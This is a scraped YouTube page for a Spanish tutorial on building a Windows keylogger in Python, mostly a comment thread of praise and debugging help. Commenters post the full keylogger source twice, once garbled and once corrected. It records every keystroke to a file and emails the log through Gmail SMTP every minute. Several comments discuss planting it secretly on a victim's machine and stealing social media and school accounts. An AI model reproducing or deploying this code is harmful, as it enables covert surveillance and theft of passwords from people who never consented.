CÓMO CREAR UN KEYLOGGER | DaKelvinWay
ฝัง
- เผยแพร่เมื่อ 21 ก.ย. 2024
- Helou! En este video-tutorial muestro una de las maneras de crear un keylogger utilizando Python en Windows.
Si conoces algunos tips de mejora para el programa, dejamelo en los comentarios.
Si te gusto el video, dale me gusta y compartelo con tus amigos y mascotas :^)
Links necesarios para la instalacion de Python y los modulos que se usan en este video:
Python: long.af/yjbulk
Modulos (PyHook / PyWin32): long.af/yolzef
🟥 Suscríbete y activa la 🔔 para no perderte ningún nuevo vídeo :}
💜 Únete a el servidor en Discord:
kjchints.io/di...
✨ Redes Sociales:
Facebook: kjchints
Twitter: / kjchints
Instagram: / kjchints
Excelente! Llegaste hasta el final, no muchos lo logran, eso me dice que eres un alma buena! :D
Es increíble como este video fue uno de los que me inspiró para estudiar programación. Ahora estoy en 3er año de la carrera de Ingeniería de Software. Muchas gracias kjchints
no entiendo como esta persona edita tan bien y no tiene muchos subs.
Porque no sube clash royale, minecraft, cod o gta v (?
FELTYBORE *EL CHINGON* he visto vídeos con más de 30 millones de reproducciones y tal solo 1200 likes....
Seguramente le gusta lo que hace más que los subs... además que el público meta es muy muy selecto.
amor al arte
quizas porque sus videos son estupidamente largos y malos chistes.
No se le quita el merito de la edición.
Y el contenido, bueno en realidad no lo vi
No mames, que introduccion más motivadora. Primera vez q veo eso en estos temas. GRACIAS
Te puedo enseñar una imitación de keylogger em pascal tengo un canal de You tube y próximamente Aprenderé python 3.1 la nueva versión...
Que noooo!!
Me paso igual .....asi si motivan a seguir viendo los vídeos
@@chalo1259 tu playlist de musica esta bien mamalona
El tipo es un crack!!
Bro, me encantó tu video (también tu interactividad con el espectador), pero al momento de explicar las cosas hablas tan rápido que a veces tengo que repetir el video para entender el contexto, sólo es una observación.
También me gustaría que hagas un video explicando todas las 'keywords' y comandos que usas en el video, como: def, import, True, False para qué sirven y como defines parámetros para ejecutar diferentes acciones. Eso estaría excelente. Sigue haciendo este tipo de videos
Yo lo pongo en 2x igual
Estudien programcion. Las keywords, solo son conceptos extranos si no entiendes el por que detras. Por ejemplo, True or False, son compuertas lógicas, antes se representaban con 0 o 1, solo que por claridad se empezaron a escribir asi. El sentido de usar compuertas logicas es darle condicionales a un software, segun la logica de negocio. Por ejemplo, si presiona tecla, guarda en el registro y mandalo a una base datos a traves dela red tor. "def" es para definir una funcion. "import" es para importar bibioliotecas o libraries, ¿que es una biblioteca? es codigo limpio que puedes reutilizar y maximar tu tiempo. Por ejemplo, "import numpy as np" es decir importa la biblioteca de numpy (biblioteca para matrices) y nombralo como np.
Gracias por la explicación.
En la pantalla parte frontal derecha del espectador, ves Tres (...) Puntos, ese es el menú de opciones; allí puedes configurar en (velocidad de reproducción) y ves como se hace un poco más lento y así no tienes que Back ni again al vídeo.
Recien empiezo mi ingenieria esto me sirve muuuucho, vas a llegar lejos, sigue asi
Hector Alexis Padilla Ramos que estudias man? yo quiero estudiar algo hací cuando sea grande :b xD
Yo tambien
Debe ser ing. de sistemas, ya que te enseñan Python, java, etc.
nop estudio ingenieria en desarrollo de software, esta muy completa, solo que muy pocas universidades en mexico la ofrecen, animense, esta super completa y en lo personal a mi me encanta
Y que se hace exactamente en el trabajo?
Espero sus respuestas.
yo solo queria saber un
a contraseña
XD
Eres un crack bro, incluso en el 2019 editas mejor que muchos contemporaneos, me sucribo de una.
JAJAJAJAJAJAJAJAJAJAJAJAJAJA no vale me hizo reír mas que enseñar, ahora lo tengo que volver a ver XD
Porfa no dejes de hacer videos, este es el mejor canal de programación que he visto y por mucho ❤️
Deverias colgar mas vídeos, buena explicación y con gracias, es muuuy difícil encontrar tutoriales así, con buen humo n.n espero que vuelvas a colgar vídeos, te iría super bien de seguro vibras n.n
Deberías*
humor*
Estaba viendo un curso de Python ya que soy nuevo aprendiendo el lenguaje de programación y luego llegue aqui jaja me divierte tu manera de ensenar .... nuevo sub
oye que pasa cuando se lo mando a otra persona? si lo ejecuta igual va a mandarme lo que tecleó al correo?
•ѕαnтι• creo amigo sería mejor que lo insertaras personalmente en la pc de la víctima ya que no es un archivo .exe y tienes que insertar los archivos en el Disco C: para que no sospechen
434
si
Uff hora de ir al ciber xdxd
JAJAJJAJAAJJAJAJAJAJA
Da risa pero espero no hables en serio, la ciber delincuencia es un gran problema en latinoamerica jaja >:'v
@@AlejandroAlvarez-ms6rs yo lo hice y consegui muchas cosas interesantes xd
mas que nada cuentas de redes sociales
@@Jagger-eb4pn pasa algunas xd okno :v (bueno capaz que si... okno o si? okno...) creaste este keylogger y obtuviste algo interesante que nos puedas contar sin comprometer la identidad de esa persona?
Por ti, mi nuevo pasatiempo será programar, es impresionante las aplicaciones que puede tener
Creo que este es el mejor video y canal de programación que he visto. Muchas gracias y felicidades, eres grande Kevin 🙏
Te imaginas un KeyLogger que cada que presionas un botón te salta un cuadro de confirmacion? Xd
Usted es diabólico
LOL!!! jajajaja
Skkdjdjd que buena
Harvard quiere saber tu ubicación
ACEPTAR CANCELAR
@@pabdani CANCELAR
Enseñame a programar wow pls
:V
Racista por no ser negra >:V
¿Tú aprendiste a escribir viendo tutoriales o estudiando?. Un lenguaje de programación es parecido, si no estudias la función de cada comando solo lograrás copiar lo que otros programan pero nunca harás un programa por tu cuenta.
Busca tutoriales en la web, que los hay y muy buenos. Si prestas atención y le dedicas tiempo, una vez que comiences a entender cada comando y a crear tus pequeños programas no vas a querer ni dormir por estar en la PC.
sale una partida de ajedrez
@@Darkmasteryi cerra el orto pelotudo!
@@ungauchoargento1040 XD
Que editor de texto utilizas? se ve demasiado profesional, yo utilizo sublimetext pero el tuyo se ve mejor me dirias como tener ese que tu utilizaste para python? por favor?
Esa discusión del principio es un like instantaneo xddddddd muy bueno
ENseñame a programar no hay muchos vídeos en youtu de c# y algunos no se entienden muy o bien algunos soy muy básicos y NO enseñan todo. TODO.. ademas tu voz es clara y precisa
Bro, con que editas tus videos?. Lo haces muy bien
tremenda pelea del inicio me encantó
Enseña a programar xD
Alto viajero tiempo Xd
Este man es increible, la verdad no se como tienes tan pocos subs. Editas de maravilla, espero no hayas dejado de lado el canal.
Sin duda tu manera y carisma para explicar las cosas de manera sencilla son muy importantes y es lo que le falta a algunos youtubers
WHEN sabes que no vas a entender pero te ves todo el video lol dame like papu
x2 jajajaj
Por trez, toma tu laik papu ;v
X4 xD
Yo voy aprender para buenos usos xD :V
jajajjjajajjjjaaaaj k mamom xd
Me reí más de lo que aprendí xD jajaja
Ahora a vender cuentas de Facebook :D
okno :v
Demonios Gump eres un genio.
De hecho no se puede, facebook ya tiene mas seguridad y cifra lo que escribas
Jajajajj que proo papu pensé lo mismo pero ademas con otros tipos de cuentas
@@miguelgutierrez4089 pero esto es un keylogger, capta las teclas, así que simplemente hay que esperar a que la persona infectada ingrese el usuario + contraseaña y sería, facebook no influye en el virus
@@miguelgutierrez4089 un keylogger lo que hace es guardar las teclas Facebook no puede hacer nada
la verdad me exploto el cerebro.pero voy a intentar ser un cerebrito como tu.y tratar de recomendarle tu canal de youtube a algunas personas para que se suscriban a tu cana.porque la verdad lo que haces me inspira y mucho.SUERTE CON LOS SUBS.
no se el lenguaje de programación pero eres el que explica mejor, empece a estudiar programación pera la cuarentena lo daño pero encontré este canal y podre aprender mas
pero lo que dimiste fue fácil creí que seria mas difícil
kabum. ese es el sonido de mi cerebro explotando por tanta informacion xD
Hola!
Acabo de encontrar tu canal y me interesaría saber como detectar un keylogger que este instalado en mi computadora.
Ojalá algún día lo llegues a ver...Si es así, respondeme por favor
Has un video sobre eso, por favor
Hay diferentes maneras, primero abre el administrador de tareas y si ves algun proceso o aplicacion que no concuerda con algun servicio o programa de windows cierralo ese podria ser el keylogger, la otra forma muy conocida es instalando un antivirus que te ayude a detectarlo
Gracias, entendí como hacerlo ✌🏼 Python es increíble jeje con esas pocas lineas haces algo tan poderoso 😬 saludos
@Maxxthon hola, como estas? Lo hiciste con python 3.7? Tengo dudas con el codigo, quizas podrias darme una ayudita
@@facundoibarra2124 opino lo mismo
Felicitaciones. Qué manera tan buena de explicar... Ganaste un suscriptor más.
Felicitaciones, acabas de hacer explotar mi cerebro
Que hago si no me sale nada en el bloc de notas y me dice esto:
Traceback (most recent call last):
File "C:\Secret\Poronga.pyw", line 60, in
FormatAndSendEmail()
NameError: name 'FormatAndSendEmail' is not defined
>>>
Algún héroe sin capa que deje el código por ahí escrito #heroesincapa
import pyHook, pyhoncom sys, logging
import time datetime
wait_seconds=60
timeout=time.time() + wait_seconds
file_log='C:\\documentS\\dat.txt'
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def SendEmail(user,pw,recipient, subject, body):
import smtplib
gmail_user=user
gmail_pass=pwd
TO= recipient if type(recipient) is list else (recipient)
SUBJECT=subject
TEXT=body
message="""\From: %s
To: %s/nSubject: %s
%s """
% (FROM,", ".join(TO), SUBJECT, TEXT)
try:
server=smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_pass)
sever.sendm (FROM, TO, message)
server.close()
print 'Correo enviado satisfactoriamente'
except:
print 'Error al mandar correo'
def FormatAndSendLogEmail():
with open(file_log, 'r+') as f:
actualdate= datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
data= f.read().replace('
','');
data='Log capturado a las: '+ actualdate + '
' + data
SendEmail('tucorreo@gmail.com', 'tuclave','tucorreo@gmail.com',
'Nuevo log -'+ actualdate,data)
f.seek(0)
f.truncate()
def OnekeyboardEvent(event):
logging.basicConfig(file)=file_log, level=logging.DEBUG,
format='%(message)s'
logging.log(10, chr(event.Ascci))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.keyDown=OneKeyboardEvent
hooks_manager.HookKeyboard()
while True:
if TimeOut():
FormatAndSendEmail()
timeout=time.time() + wait_seconds
pythoncom.PumpWaitingMessages()
@@luisgcuadrado8478 capo
@@luisgcuadrado8478 ESTA MAL COPIADO IGUAL GRACIAS XD
@@MauricioF68 Ponlo tu bien bro
@@luisgcuadrado8478 gracias
yo pensaba que solo con saber escribir mi nombre (programando claro) iba a poder entender esto xD
Me encantó la animación
un suscriptor más por esta animación tan hermosa que me hizo reír
Bro, tienes gran sentido del humor, hiciste mi día, me suscribooooo
MUY BUEN APORTE AMIGO GENIL SALUDO CHILE ANTOFA
En inglés esta perfecto!
se me kemo el cerebroo :v
no ere el unico
nabs :v
con tan poca inteligencia usando el dos puntos uve claro hajaja
D isaai GaaMEZ prro >:v
D isaai GaaMEZ eso es típico de los que usan "
" :v "
Me gustaría aprender a programar. Ya que la informática me llama mucho la atención.
Hermano eres un genio.
Haces que la programación sea fácil.
Nuevo suscriptor presente aquí 😎
llegue 4 años tarde,pero,por favor enseñame a programar xd
(si,si me interesa) :)
Te recomiendo empezar con c++ y ver cursos por TH-cam
enseñanos a programar
hay miles de canales para eso wey
Dl Hg Cp exacto
igual el ya subio un video referente a eso xD
Eso sólo puedes aprender agarrando un libro. O pág web. Pero por tu cuenta
Pildorasininformatica un canal que te enseña xd
3:28 hablaste como el oso hormiguero
Este programa no solo me enseñó a crear un nuevo software sino también aprender masssss😀
Por fin alguien que hace tutoriales y qué no da hueva su voz
se mamo, deberías hacer más videos, y enseñar a programar
estubo bien pero no podrias haser un video en que pongas un archivo txt con los codigos adentro para haser el keylogger
Hola! Ya lo habia puesto en uno de los comentarios abajo, pero lo vuelvo a compartir bit.do/dkwkylogger
Si pueden llegar hacer mejoras me lo pueden decir.
Gracias por comentar :^)
hola tu no podrias haser un video donde enseñes ha hacer aplicasiones basicas en Python
hey es nesesario instalar los modulos para que funsione el keyloger
Si.
Frerrun Hackin Que no!!!!
jajajaja
We nmms :’v no me deja instalar el pyHook :’v en el cmd, me dice que pip no se reconoce como comando interno o externo
Pd: buen video amigo xdxd
A mí me pasaba igual modifica el archivo de instalación y dale a todas las casillas incluyendo la que dice comands, Saludos wplekgwkrhawh
Es porque no te instalaste pip. se puede descargar en la pagina oficial de pip. Salu2
jaaja EL MEJOR CANAL DE TODOS, ENSERIO
SOLO EN CISNES.....XD
xD buen video, primera ves que lo veo y me gusto la forma en la que haces los videos
Da error aqui:
NameError: name 'FormatAndSendEmail' is not defined
lo que hice fue agregar: FormatAndSendLogEmail()
y funciona
Me da error de envio de correo entiendo que es por el permiso de la aplicaciones poco segura.
gracias me ayudaste mucho, aun asi aun me lanza error no se por que
una cuestion a mi me da error de l variable timeOut ayuda
enseñame a programar wow pls ( me estan espian do con keylogger xD)
tengo el siguiente problema, saben como solucionarlo?
Traceback (most recent call last):
File "C:\secret\KL KGB.pyw", line 58, in
FormatAndSendEmail()
NameError: name 'FormatAndSendEmail' is not defined
Corrige el nombre de la función
como?
Creo que te faltaron : después de los paréntesis y por eso no lo reconoce como función, por lo que no esta definido
while True:
if TimeOut():
FormatAndSendLogEmail()
timeout = time.time() + wait_seconds
pythoncom.PumpWaithingMessages()
Al final de todo modulo se escribe alfinal ; o depende de que lenguajes uses
Muy fácil y muy bien como lo explicaste, la verdad no conocía ese módulo ni estaba enterado de la facilidad de enviar mensajes por correo. (Soy medio nuevo)
que buena explicacion , esto podria funcionar en 2024 o hay algo mas actualizado?
Ya no funciona con esta versión, marca error: "ERROR: pyHook-1.5.1-cp37-cp37m-win32.whl is not a supported wheel on this platform."
actualiza el repositorio, Aún sirve
No mal informes a la pipol >:v
@@snoolk35 No codificaste bien, el registro de letras se debe a que te faltó un punto y coma o alguna falta de ortografía ve bien lo que escribiste si está todo correcto pídeme ayuda quizás sea un problema un poco más complejo
@@snoolk35 asegúrate de que tu Gmail tenga activada la función que se pidió en el vídeo o si no vuelve a modificar el código y cambia de correo
@@snoolk35 Una de esas pude ser la posible solución :)
Tengo este error alguien me puede ayudar, este error sale al abrir google chrome y cuando empiezo a escribir me sale este error y se muere el programa que puedo hacer ???
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
Lo que tenés que hacer es ir a disco local (c) después a archivos programa y borrar Sistem 32
Es un problemita que a veces pasas
@@valentinoolivera597 JAJAJAJAJAJJAAJJAJAJAJAJJAJAJAJJAJJAJA
El FBI quiere saber tu dirección.
Aceptar
con que editas?, que programa es tan potente para hacer esa edicion?
unos de los 10 mejores video tengo conocimiento basico de python y fue dificir seguirte jajajja XD
Soy yo o programar es hermoso 😍💖
gracia anplendi a hacer un keylogger y pude octener la cuenta del rector del colegio y pude aumenta mi nota
El Macho
y yo cupe uno de los 3 primero yo ante el 24
xDDD
oye, me salta este error, sabes corregirlo?
Traceback (most recent call last):
File "C:/NADIE SABE DE ESTO/Hola.PYW", line 59, in
FormatAndSendEmail()
NameError: name 'FormatAndSendEmail' is not defined
lol amigo me sirvio mucho, ahora me incitas a leer mucho mas sobre lo que seria la programacion y talvez en un futuro volverme como el de MR. ROBOT okno, pero en fin muchas gracias por esta leccion fueron 4 horas ( me estaba viendo para que servia cada linea que escribias) en hacer todo eso y ya ahora con un poco mas de conocimientos y practica lo lograre hacer en otro dispositivo en menos tiempo asi no se dan cuenta xD, pero en fin gracias!
como eliot, osea volverte esquisofrenico, con trastorno de personalidad y con un delirio de persecucion (olvide mencionar las drogas y la carcel) si claro que podria salir mal :v
Jajajaja, se mamo xd
JAJAJAJAJAJ C PASO,
nel si esto se te complica y practicas solo vas a llegar a ser uno mas del monto mas bien todos van a llegar a ser del monton
Wow explicas super bien, eres el mejor bro, neta que en todos los videos que eh buscado para adelantar en mi especialidad este ah sido el mejor video. Muchas gracias broo
Fascinante aporte. Muchas gracias.
Y ya pasó un año men y no has subido :'v
Le puedo enseñar a programar si le interesa proximanete le enseñare python 3.1 pero primero vamos a programacion estructurada...
.o. mejor no hago nada :v
...
jajajajajjajajajaja
Otaq Land :3 debido al tema que trata puesto que es algo que la mayoría de la gente no le interesa esto o le resulta difícil o aburrido
Incompetente, que crees? esto no es nada a comparación de otras cosas.
x2 :v
me sale un error de sintaxis
Quien me puede pasar el codigo?
Revisaste si es python 2.7? Mm talvez alguna librería de las que uso, fue deprecado
*Será fácil*
Mi cerebro a mitad del vídeo: estoy agarrando señal carnal xd
😂 estupendo 👌 que buen contenido, aprendizaje (y bien explicado) de manera divertida 😌 gracias, eres grande... Subscritora nueva.
enseñame a programar wow pls :V
me da error el pyHook :(
corrige pytHook , ahre renpondia 2 años tarde :V
areee
todo bien pero no me envia al correo :'v
Que error te da?
Quisiera que saques mas contenidos...
Son muy entretenidos y educativos.
Está bien en inglés loco....
Que buenos tutoriales causa...
Aiudaaaaaa. Me salta este error :v : requirement "pyhook-1.5.1-cp27-cp27m-win32.whl' looks like a filename, but the file does not exist. Gracias de antemano :D
Eso me pasa cuando quiero instalar los modulos
ahora me aparece esto : is not a valid wheel filename
Revisa que el pip que tienes instalado, sea el propio de python 2.7, con el comando pip --version y tambien asegurate que el modulo que hayas descargado sea la misma version que tu python.
Suerte!
Gracias por responder, ya puse le comando pip --version y me aparece esto: pip 9.0.1.
De donde descargo los módulos correspondientes para mi versión? Gracias de antemano, muy buenos los vídeos, me encanta la forma en la que comentas :D
tengo el mismo problema, estoy manejando python 2.7.11 que es el del video lo agrege correctamente en el cmd y tiene su path, pero cuando intento importar pythoncom bota error en pywintype
Se supone que esto es un tutorial?
O solo quieres confundir a las personas para sentirte inteligente?
Mi Cabezaaaa!!!!!!! Habla Mas Despacio
Bajale la velocidad de reproducción y listo
Si hablara mas despacio el vídeo se haría muy largo
Yo lo escucho normal
PÓRFIIII AMO LOS VIDEOOSS!!! ENSEÑANOS A PROGRAMAAR
Carnal !!es graciosos como Eseñas las Programaciones, like it.!!!
alguien me confirma si funciona de verdad, aunque llegue un par de años tarde🤣
@@Gann4Life es que tampoco quiero gastar mi tiempo para que luego no funcione
@@Gann4Life y los módulos de python y el propio python en esa versión siguen en mantenimiento?
@@Gann4Life ok, gracias bro
@@davidmanuelsabinadominguez5450 quiero pan
Como siempre no entendi ni mergasss:'v
No entendi ni verga.
No cairian mal unas clases de programación ovio por esas clases m suscribire. Saludos y las espero
Kelvin, necesitamos mas de tus videos !
Ese código tiene infinidad de errores, no recomendado ver
Sube un video tu
Un gran profesor y ameniza los videos
Aquí dejo yo tmb el código del programa, corrigiendo algunos pequeños fallos que se le pasaron.
Nota: cambiar la ruta del programa y el correo y contraseña. Además, yo descargue pyWinhook, que según leí es una rama para windows de pyHook con soporte activo (o algo así decía) .
import pyWinhook, pythoncom, sys, logging
import time, datetime
wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = 'tuRuta\\log.txt'
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def SendEmail(user, pwd, recipient, subject, body):
import smtplib
gmail_user = user
gmail_pass = pwd
FROM = user
TO = recipient if type(recipient) is list else [recipient]
SUBJECT = subject
TEXT = body
message = """\From: %s
To: %s
Subject: %s
%s """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_pass)
server.sendmail(FROM, TO, message)
server.close
print 'correo enviado satisfacoriamente!'
except:
print 'Error al mandar el correo!'
def FormatAndSendEmail():
with open (file_log, 'r+') as f:
actualdate = datetime.datetime.now().strftime("%Y-%m-%d &H:%M:%S")
data = f.read().replace('
', '');
data = 'Log capturando a las: ' + actualdate + '
' + data
SendEmail('correo@gmail.com', 'contraseña', 'correo@gmail.com',
'Nuevo Log - ' + actualdate, data)
f.seek(0)
f.truncate()
def OnKeyboardEvent (event):
logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
logging.log (10, chr(event.Ascii))
return True
hooks_manager = pyWinhook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
while True:
if TimeOut():
FormatAndSendEmail()
timeout = time.time() + wait_seconds
pythoncom.PumpWaitingMessages()
Ojalá funcione
Me encantó el video, estoy aprendiendo a programar, espero poder entenderlo rápido a PYTHON
Descargo el módulo pero a la hora de importarlo en el código el modulo no carga y al correrlo dice que ese modulo no está
Joder, usas Sprites de Undertale, explicas y editas bien, definitivamente me suscribo.
me gustaria aprender mas tus videos de verdad son buenos y bien explicados saludos
2 Años wn... ¡¿como en 2 años no pude ver este video?!
Woooow haces que aprender sea divertido jajaja te amo
Hace una semana aprendí a programar en Python y ahora estoy aqui entendiendo tu video, y lo logré hacer.
Gracias y tienes nuevo sub :3
Por cierto, hay veces en q llamas a las funciones de manera erronea, como en FormatAndSendEmail... te olvidaste del 'Log'